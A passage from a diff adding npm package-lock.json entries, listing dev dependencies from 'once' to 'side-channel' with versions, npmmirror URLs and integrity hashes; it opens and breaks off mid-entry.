"sha512-lgHwxlxV1qIg1Eap7LgIeoBWIMFibOjbrYPIPJZcI1mmGAI2m3lNYpK12Y+GBdPQ0U1hRwSord7GIaawz962qQ==", + "dev": true + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, + "peer": true, + "requires": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + } + }, + "ordinal": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/ordinal/-/ordinal-1.0.3.tgz", + "integrity": "sha512-cMddMgb2QElm8G7vdaa02jhUNbTSrhsgAGUz1OokD83uJTwSUn+nKoNoKVVaRa08yF6sgfO7Maou1+bgLd9rdQ==", + "dev": true, + "peer": true + }, + "os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", + "dev": true + }, + "p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "dev": true, + "requires": { + "p-try": "^1.0.0" + } + }, + "p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==", + "dev": true, + "requires": { + "p-limit": "^1.1.0" + } + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + }, + "p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==", + "dev": true + }, + "parse-cache-control": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parse-cache-control/-/parse-cache-control-1.0.1.tgz", + "integrity": "sha512-60zvsJReQPX5/QP0Kzfd/VrpjScIQ7SHBW6bFCYfEP+fp0Eppr1SHhIO5nd1PjZtvclzSzES9D/p5nFJurwfWg==", + "dev": true, + "peer": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "peer": true + }, + "pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "peer": true + }, + "pbkdf2": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/pbkdf2/-/pbkdf2-3.1.2.tgz", + "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", + "dev": true, + "requires": { + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==", + "dev": true, + "peer": true + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "peer": true + }, + "prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "dev": true, + "peer": true + }, + "prettier": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/prettier/-/prettier-2.7.1.tgz", + "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g==", + "dev": true, + "peer": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "peer": true + }, + "promise": { + "version": "8.2.0", + "resolved": "https://registry.npmmirror.com/promise/-/promise-8.2.0.tgz", + "integrity": "sha512-+CMAlLHqwRYwBMXKCP+o8ns7DN+xHDUiI+0nArsiJ9y+kJVPLFxEaSw6Ha9s9H0tftxg2Yzl25wqj9G7m5wLZg==", + "dev": true, + "peer": true, + "requires": { + "asap": "~2.0.6" + } + }, + "psl": { + "version": "1.9.0", + "resolved": "https://registry.npmmirror.com/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true, + "peer": true + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true, + "peer": true + }, + "qs": { + "version": "6.11.0", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "dev": true, + "requires": { + "side-channel": "^1.0.4" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmmirror.com/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "dev": true, + "requires": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "dev": true, + "peer": true, + "requires": { + "resolve": "^1.1.6" + } + }, + "recursive-readdir": { + "version": "2.2.2", + "resolved": "https://registry.npmmirror.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz", + "integrity": "sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==", + "dev": true, + "peer": true, + "requires": { + "minimatch": "3.0.4" + }, + "dependencies": { + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + } + } + }, + "reduce-flatten": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/reduce-flatten/-/reduce-flatten-2.0.0.tgz", + "integrity": "sha512-EJ4UNY/U1t2P/2k6oqotuX2Cc3T6nxJwsM0N0asT7dhrtH1ltUxDn4NalSYmPE2rCkVpcf/X6R0wDwcFpzhd4w==", + "dev": true, + "peer": true + }, + "regexp.prototype.flags": { + "version": "1.4.3", + "resolved": "https://registry.npmmirror.com/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz", + "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "functions-have-names": "^1.2.2" + } + }, + "req-cwd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/req-cwd/-/req-cwd-2.0.0.tgz", + "integrity": "sha512-ueoIoLo1OfB6b05COxAA9UpeoscNpYyM+BqYlA7H6LVF4hKGPXQQSSaD2YmvDVJMkk4UDpAHIeU1zG53IqjvlQ==", + "dev": true, + "peer": true, + "requires": { + "req-from": "^2.0.0" + } + }, + "req-from": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/req-from/-/req-from-2.0.0.tgz", + "integrity": "sha512-LzTfEVDVQHBRfjOUMgNBA+V6DWsSnoeKzf42J7l0xa/B4jyPOuuF5MlNSmomLNGemWTnV2TIdjSSLnEn95fOQA==", + "dev": true, + "peer": true, + "requires": { + "resolve-from": "^3.0.0" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmmirror.com/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "dev": true, + "peer": true, + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.3", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", + "dev": true, + "peer": true + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "dev": true, + "peer": true + } + } + }, + "request-promise-core": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/request-promise-core/-/request-promise-core-1.1.4.tgz", + "integrity": "sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw==", + "dev": true, + "peer": true, + "requires": { + "lodash": "^4.17.19" + } + }, + "request-promise-native": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/request-promise-native/-/request-promise-native-1.0.9.tgz", + "integrity": "sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g==", + "dev": true, + "peer": true, + "requires": { + "request-promise-core": "1.1.4", + "stealthy-require": "^1.1.1", + "tough-cookie": "^2.3.3" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true + }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true, + "peer": true + }, + "resolve": { + "version": "1.17.0", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.17.0.tgz", + "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "dev": true, + "requires": { + "path-parse": "^1.0.6" + } + }, + "resolve-from": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-3.0.0.tgz", + "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==", + "dev": true, + "peer": true + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "peer": true + }, + "rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "ripemd160": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/ripemd160/-/ripemd160-2.0.2.tgz", + "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", + "dev": true, + "requires": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1" + } + }, + "rlp": { + "version": "2.2.7", + "resolved": "https://registry.npmmirror.com/rlp/-/rlp-2.2.7.tgz", + "integrity": "sha512-d5gdPmgQ0Z+AklL2NVXr/IoSjNZFfTVvQWzL/AM2AOcSzYP2xjlb0AC8YyCLc41MSNf6P6QVtjgPdmVtzb+4lQ==", + "dev": true, + "requires": { + "bn.js": "^5.2.0" + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "peer": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "run-parallel-limit": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/run-parallel-limit/-/run-parallel-limit-1.1.0.tgz", + "integrity": "sha512-jJA7irRNM91jaKc3Hcl1npHsFLOXOoTkPCUL1JEa1R82O2miplXXRaGdjW/KM/98YQWDhJLiSs793CnXfblJUw==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "rustbn.js": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/rustbn.js/-/rustbn.js-0.2.0.tgz", + "integrity": "sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==", + "dev": true + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "safe-regex-test": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "sc-istanbul": { + "version": "0.4.6", + "resolved": "https://registry.npmmirror.com/sc-istanbul/-/sc-istanbul-0.4.6.tgz", + "integrity": "sha512-qJFF/8tW/zJsbyfh/iT/ZM5QNHE3CXxtLJbZsL+CzdJLBsPD7SedJZoUA4d8iAcN2IoMp/Dx80shOOd2x96X/g==", + "dev": true, + "peer": true, + "requires": { + "abbrev": "1.0.x", + "async": "1.x", + "escodegen": "1.8.x", + "esprima": "2.7.x", + "glob": "^5.0.15", + "handlebars": "^4.0.1", + "js-yaml": "3.x", + "mkdirp": "0.5.x", + "nopt": "3.x", + "once": "1.x", + "resolve": "1.1.x", + "supports-color": "^3.1.0", + "which": "^1.1.1", + "wordwrap": "^1.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "async": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/async/-/async-1.5.2.tgz", + "integrity": "sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w==", + "dev": true, + "peer": true + }, + "glob": { + "version": "5.0.15", + "resolved": "https://registry.npmmirror.com/glob/-/glob-5.0.15.tgz", + "integrity": "sha512-c9IPMazfRITpmAAKi22dK1VKxGDX9ehhqfABDriL/lzO92xcUKEJPQHrVA/2YHSNFB4iFlykVmWvwo48nr3OxA==", + "dev": true, + "peer": true, + "requires": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-1.0.0.tgz", + "integrity": "sha512-DyYHfIYwAJmjAjSSPKANxI8bFY9YtFrgkAfinBojQ8YJTOuOuav64tMUJv584SES4xl74PmuaevIyaLESHdTAA==", + "dev": true, + "peer": true + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "peer": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "dependencies": { + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true + } + } + }, + "resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha512-9znBF0vBcaSN3W2j7wKvdERPwqTxSpCq+if5C0WoTCyV9n24rua28jeuQ2pL/HOf+yUe/Mef+H/5p60K0Id3bg==", + "dev": true, + "peer": true + }, + "supports-color": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-3.2.3.tgz", + "integrity": "sha512-Jds2VIYDrlp5ui7t8abHN2bjAu4LV/q4N2KivFPpGH0lrka0BMq/33AmECUXlKPcHigkNaqfXRENFju+rlcy+A==", + "dev": true, + "peer": true, + "requires": { + "has-flag": "^1.0.0" + } + } + } + }, + "scrypt-js": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/scrypt-js/-/scrypt-js-3.0.1.tgz", + "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==", + "dev": true + }, + "secp256k1": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/secp256k1/-/secp256k1-4.0.3.tgz", + "integrity": "sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA==", + "dev": true, + "requires": { + "elliptic": "^6.5.4", + "node-addon-api": "^2.0.0", + "node-gyp-build": "^4.2.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmmirror.com/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + }, + "serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "dev": true, + "peer": true + }, + "setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", + "dev": true + }, + "setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true + }, + "sha.js": { + "version": "2.4.11", + "resolved": "https://registry.npmmirror.com/sha.js/-/sha.js-2.4.11.tgz", + "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "sha1": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/sha1/-/sha1-1.1.1.tgz", + "integrity": "sha512-dZBS6OrMjtgVkopB1Gmo4RQCDKiZsqcpAQpkV/aaj+FCrCg8r4I4qMkDPQjBgLIxlmu9k4nUbWq6ohXahOneYA==", + "dev": true, + "peer": true, + "requires": { + "charenc": ">= 0.0.1", + "crypt": ">= 0.0.1" + } + }, + "shelljs": { + "version": "0.8.5", + "resolved": "https://registry.npmmirror.com/shelljs/-/shelljs-0.8.5.tgz", + "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", + "dev": true, + "peer": true, + "requires": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + } + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.4.tgz", + "integrity": 